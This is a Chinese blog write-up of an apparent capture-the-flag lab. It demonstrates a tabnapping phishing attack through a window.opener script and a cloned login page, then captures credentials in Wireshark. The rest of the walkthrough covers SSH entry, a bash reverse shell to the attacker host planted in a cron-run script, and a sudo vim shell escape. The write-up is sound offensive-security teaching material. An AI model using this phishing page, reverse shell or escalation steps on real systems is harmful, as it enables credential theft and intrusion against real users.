社工钓鱼tabnapping反向标签劫持_tpaer的博客-爱代码爱编程
tabnaping反向标签劫持钓鱼攻击
网站简介
靶机ip:192.168.3.133 开放端口:22/80
攻击机ip:192.168.3.128
网站的登录界面
在注册登录后进入页面
具体意思是这是个免费博客推广的网站,我们输入博客地址然后会将链接发送给工作人员进行审查。
提交百度https://www.baidu.com试试,会出现个a标签链接点击会跳转到百度网站
查看源码target是_blank和windows.open效果一样,都是新页面打开网址的意思
这种方式存在tabnapping即反向标签劫持攻击
钓鱼攻击
在工作人员审查我们博客时会点击我们的钓鱼链接,此时会打开一个新的页面,在新页面中写入js,js内容为更改opener页面(原页面)的loacation地址为我们自己仿造的登录页面。工作人员审查完我们提交的链接后,回到原页面发现内容变成了登录页面(由于样式一样的如果没仔细观察链接差异很难发现)。缺乏安全意识的工作人员肯定以为这可能由于cookie过期或者不小心点错页面刷新需要重新登录,就输入了自己的账号密码。而这登录操作是在我们的服务器完成的,监听我们服务器中仿造登录页面post提交的流量就能获得工作人员的账号密码。
fish.html(一会要提交的钓鱼链接)
<html>
<title>fish page</title>
<body>
<script>
if (window.opener) {
window.opener.location = "http://192.168.3.128/index.html";
}else{alert("defeat");}
</script>
</body>
</html>
index.html(伪造的登录页面)
wget http://192.168.3.133/index.php
获得index.php文件,把后缀改为html文件(否则启动apache服务器配置php环境),看起来和原登录页面一模一样
welcome.html(模拟提交钓鱼链接的页面 用来测试是否成功)
<html>
<title>welcome page</title>
<body>
<a href="http://192.168.3.128/fish.html" rel="opener" target="_blank" >to fish</a> </br>
<button onclick="window.open('http://192.168.3.128/fish.html')">to fish</button>
</body>
</html>
开启http服务
python -m http.server 80
钓鱼模拟测试
首先进入测试页面welcome.html
http://192.168.3.128/welcome.html
点击to fish跳转到钓鱼链接,原页面直接变成了我们的仿造的登录页面,测试成功
钓鱼实战
到真正的welcome页面,提交我们的钓鱼链接http://192.168.3.128/fish.html
打开wireshark启动监听,接下来做的就是等🐟上钩
过滤信息
http and ip.src==192.168.3.128 and tcp.port==80
果然上钩了,因为是我们构造的页面,登录接口并不存在,流量特征为POST并返回错误的状态码
查看流量,发现账号密码
username=daniel&password=C%40ughtm3napping123
利用解码工具对密码进行解码,其实直接就能看出来
密码为C@ughtm3napping123
用获得的账号密码进行登录
ssh daniel@192.168.3.133
提权阶段
已经登录上了工作人员账号,接下来进入提权阶段
sudo -l发现没权限
在用户目录下又没找到可以利用的提权文件
因为daniel是属于administrators组的决定从组下手
查找adminstrators组可执行的权限或命令,发现可执行query.py
find / -group administrators -type f 2>/dev/null
到adrian的家目录查看除了query.py还有site_status.txt(daniel也有)和user.txt
其中user.txt没有权限,site_status.txt记录了时间日期间隔2分钟执行一次
因为不具备sudo权限不能以adrian的身份执行query.py进行反弹。看看能不能自动执行不行就用CVE打
在daniel目录下新建tpa.sh写入反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.3.128/7777 0>&1'
要给tpa.sh权限
chmod 777 tpa.sh
更改query.py(果然这个记录了site_status.txt应该就是自动执行)
监听端口
nc -lvvp 7777
等待2分钟反弹到adrian账号
sudo -l
直接vim提权
sudo vim -c ':!/bin/sh'
查看flag